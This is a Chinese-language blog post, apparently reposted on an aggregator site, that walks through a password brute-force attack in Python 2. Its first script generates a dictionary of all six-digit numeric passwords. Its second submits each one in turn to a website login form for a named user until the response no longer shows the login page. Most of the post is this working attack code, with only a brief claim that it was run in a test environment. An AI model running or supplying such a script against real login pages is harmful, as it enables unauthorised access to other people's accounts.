python 暴力破解密码脚本

您所在的位置:网站首页 网站密码暴力破解 python 暴力破解密码脚本

python 暴力破解密码脚本

2023-12-18 19:48| 来源: 网络整理| 查看: 265

python 暴力破解密码脚本

以下,仅为个人测试代码,环境也是测试环境,暴力破解原理都是一样的,

假设要暴力破解登陆网站www.a.com 用户 testUser的密码,

首先,该网站登陆的验证要支持 无限次的密码尝试

假设testUser 的密码为 6位的纯数字

 

1:先长成 6位纯数字密码字典

import os pds=[] rg=range(0,10) for first in rg: for second in rg: for three in rg: for four in rg: for five in rg: for six in rg: num= "%s%s%s%s%s%s"%(first,second,three,four,five,six) pds.append(num) file_object = open('/Users/teso/Desktop/pwdNum6.txt', 'w') file_object.writelines(['%s%s' % (x,os.linesep) for x in pds]) file_object.close( )

 上面脚本会在桌面生成 6位数字的所有密码字典 pwdNum6.txt

 

2: 研究 www.a.com 网站的登陆验证机制,脚本暴力破解密码

import urllib,urllib2,HTMLParser #解析网页的爬虫 class OAParser(HTMLParser.HTMLParser): def __init__(self): HTMLParser.HTMLParser.__init__(self) self.pd=[] def handle_data(self, data): #print "Encountered some data :", data self.pd.append(data) #暴力破解脚本 def tryLogin(name,pwd): parm={"loginName":name, "password":pwd} url="http://192.**.*.*/***/login/li" r=urllib2.urlopen(url, urllib.urlencode(parm)) parse=OAParser() parse.feed(r.read()) parse.close() isFind=False if "用户登录" in parse.pd:#这里是对应网站的密码验证逻辑 print '尝试密码',pwd,'登陆失败' isFind = False else: print user,'登陆成功','password = ',pwd isFind=True del(parse) return isFind user='testUser' #password=['1','12','123','1234','12345','123456','12345678'] fpath='/Users/teso/Desktop/pwdNum6.txt' pfile=open(fpath,'r') for onePwd in pfile.readlines(): if tryLogin(user, onePwd[:6]): break;

 

流程大致如此,自行研究着玩了



【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3